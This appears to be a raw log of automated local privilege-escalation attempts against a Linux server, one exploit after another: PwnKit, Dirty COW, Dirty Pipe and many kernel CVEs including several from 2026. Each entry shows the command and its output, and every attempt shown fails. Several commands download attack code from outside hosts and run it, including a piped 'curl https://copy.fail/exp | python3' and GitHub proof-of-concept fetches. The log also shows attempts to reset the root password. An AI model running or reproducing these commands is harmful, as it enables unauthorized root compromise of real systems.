==== PwnKit :: curl -fsSL https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/refs/heads/main/cve-2021-4034-poc.c -o pwn.c && gcc pwn.c -o pwn && ./pwn ==== GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT” The value for the SHELL variable was not found the /etc/shells file This incident has been reported. uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== PwnKit-alt :: cd rvn && gcc cve-2021-4034.c -o exp && ./exp ==== GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT” The value for the SHELL variable was not found the /etc/shells file This incident has been reported. uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== Dirty COW :: cd dcow && gcc -pthread -o dcow dirtycow.c -lcrypt && printf 'pwned123\n' | ./dcow ==== gcc: error: dirtycow.c: No such file or directory bash: /usr/bin/su: Permission denied ==== Dirty Pipe :: cd dp && gcc exploit.c -o exploit && ./exploit ==== Backing up /etc/passwd to /tmp/passwd.bak ... Setting root password to "aaron"... system() function call seems to have failed :( uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2024-1086 :: cd c1086 && make && ./exploit ==== musl-gcc -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations src/main.c src/env.c src/net.c src/nftnl.c src/file.c -o ./exploit -static ./lib/libnftnl.a ./lib/libmnl.a make: musl-gcc: Command not found make: *** [Makefile:25: _compile_static] Error 127 uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2022-0185 :: cd c0185 && make && ./exploit ==== gcc -no-pie -static exploit_kctf.c util.c -o exploit -masm=intel -pthread exploit_kctf.c:379:24: warning: return type defaults to 'int' [-Wimplicit-int] __attribute__((naked)) win() ^~~ /usr/bin/ld: cannot find -lpthread /usr/bin/ld: cannot find -lc collect2: error: ld returned 1 exit status make: *** [Makefile:2: kctf] Error 1 uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== DirtyFrag :: cd df && gcc -O0 -Wall -o exp exp.c -lutil && ./exp ==== dirtyfrag: failed (rc=1) uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== FragNesia :: cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp ==== [*] uid=1011 euid=1011 gid=1012 egid=1012 [*] mode=xfrm_espintcp_pagecache_replace collateral=after [*] target=/usr/bin/su size=50168 outer_write_open_denied=1 errno=13 (Permission denied) userns_setup: outer_uid=1011 outer_gid=1012 ns_uid=0 ns_gid=0 netns_setup=1 loopback_up=1 namespace_gate_failed: XFRM_MSG_NEWSA ack errno=93 (Protocol not supported) uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2022-0995 :: cd c0995 && make && ./exploit ==== rm -f exploit gcc exploit.c util.c -o exploit -no-pie -static exploit.c:7:10: fatal error: linux/watch_queue.h: No such file or directory #include ^~~~~~~~~~~~~~~~~~~~~ compilation terminated. make: *** [Makefile:7: exploit] Error 1 uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2022-34918 :: cd c34918 && gcc -o exp exploit.c -lmnl -lnftnl && ./exp ==== gcc: error: exploit.c: No such file or directory uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2022-25636 :: cd c25636 && make && ./exploit ==== gcc exploit.c fakefuse.c util.c -o exploit -no-pie -I/usr/include/fuse -lfuse -pthread -lmnl -lnftnl In file included from exploit.c:3: fakefuse.h:9:10: fatal error: fuse.h: No such file or directory #include ^~~~~~~~ compilation terminated. In file included from fakefuse.c:1: fakefuse.h:9:10: fatal error: fuse.h: No such file or directory #include ^~~~~~~~ compilation terminated. make: *** [Makefile:8: exploit] Error 1 uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2019-13272 :: cd c13272/CVE-2019-13272 && gcc -Wall --std=gnu99 -s poc.c -o exp && ./exp ==== Failed to get session path: Caller does not belong to any known session Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) [.] Checking environment ... [!] Warning: $XDG_SESSION_ID is not set [!] Warning: Could not find active PolKit agent [!] Warning: kernel.yama.ptrace_scope >= 2 [~] Done, with 3 warnings [.] Searching policies for useful helpers ... [.] Searching for known helpers ... [~] Done uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2017-16995 :: cd c16995 && gcc -o exp exploit.c && ./exp ==== gcc: error: exploit.c: No such file or directory gcc: fatal error: no input files compilation terminated. uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2026-46215 :: cd c46215 && gcc -o exploit exploit.c -lpthread -lutil -static && ./exploit ==== /usr/bin/ld: cannot find -lpthread /usr/bin/ld: cannot find -lutil /usr/bin/ld: cannot find -lc collect2: error: ld returned 1 exit status uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2023-22809 :: cd c22809 && bash exploit.sh ==== We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper sudo: a password is required > It doesn't seem that this user can run sudoedit as root uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2026-31431 :: curl -fsSL https://github.com/JuanBindez/CVE-2026-31431/archive/refs/heads/main.zip -o c31431.zip && mkdir -p .x && python3 -c 'import zipfile,sys; zipfile.ZipFile(sys.argv[1]).extractall(sys.argv[2])' c31431.zip .x && cd .x/CVE-2026-31431-main && python3 main.py ==== Traceback (most recent call last): File "main.py", line 56, in main() File "main.py", line 44, in main su_fd = os.open("/usr/bin/su", os.O_RDONLY) PermissionError: [Errno 13] Permission denied: '/usr/bin/su' uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2026-46300 :: cd c46300 && chmod +x exploit && ./exploit ==== [*] uid=1011 euid=1011 gid=1012 egid=1012 [*] target=/usr/bin/mount size=50328 [*] outer_write_open_denied=1 errno=13 (Permission denied) [*] backup: /tmp/.mount_2827589 [+] topology ready: sender_pid=2827592 receiver_pid=2827593 GATE: XFRM_MSG_NEWSA ack: errno=93 (Protocol not supported) [-] exploit failed (code 4) bash: /usr/bin/su: Permission denied ==== CVE-2026-64600 :: cd c64600 && gcc -o cve-2026-64600 cve-2026-64600.c -lm -lpthread && ./cve-2026-64600 ==== ┌──────────────────────────────────────────────────────────────────────┐ │ CVE-2026-64600 (RefluXFS) — Mode: check │ └──────────────────────────────────────────────────────────────────────┘ ─── System Information ─── Kernel 4.18.0-553.123.2.el8_10.x86_64 Architecture x86_64 ─── Vulnerability Assessment ─── Kernel Vulnerable YES XFS Reflink (any mount) DISABLED Distribution Affected (heuristic) YES ──────────────────────────────────────────────────────────────────── FINAL VERDICT ──────────────────────────────────────────────────────────────────── ┌──────────────────────────────────────────────────────────────────────┐ │ PARTIAL: vulnerable kernel, but no XFS reflink found │ └──────────────────────────────────────────────────────────────────────┘ Kernel: 4.18.0-553.123.2.el8_10.x86_64 (vulnerable) XFS reflink: not detected Recommendation: still consider kernel update as precaution ──────────────────────────────────────────────────────────────────── uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2026-68138 :: cd c68138 && bash build.sh && ./build/exploit ==== /usr/bin/ld: cannot find -lpthread /usr/bin/ld: cannot find -lc collect2: error: ld returned 1 exit status uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2026-68398 :: cd c68398 && gcc -O2 exploit.c kaslr_prefetch.c -o exploit -lpthread && ./exploit ==== unsupported target: x86_64 4.18.0-553.123.2.el8_10.x86_64; expected x86_64 5.15.0-187-generic uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== CVE-2026-68398-make :: cd c68398b && make && ./build/CVE-2026-68398 ==== mkdir -p build cc -O0 -Wall -Wextra -Werror -c -o build/kaslr_prefetch.o kaslr_prefetch.c cc -O2 -static -pthread -Wall -Wextra -Werror -o build/CVE-2026-68398 exploit.c build/kaslr_prefetch.o /usr/bin/ld: cannot find -lpthread /usr/bin/ld: cannot find -lc collect2: error: ld returned 1 exit status make: *** [Makefile:17: build/CVE-2026-68398] Error 1 uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec) ==== copy.fail :: curl https://copy.fail/exp | python3 && su ==== % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 731 0 731 0 0 3248 0 --:--:-- --:--:-- --:--:-- 3248 Traceback (most recent call last): File "", line 8, in PermissionError: [Errno 13] Permission denied: '/usr/bin/su' uid=1011(vardhamaninfotec) gid=1012(vardhamaninfotec) groups=1012(vardhamaninfotec)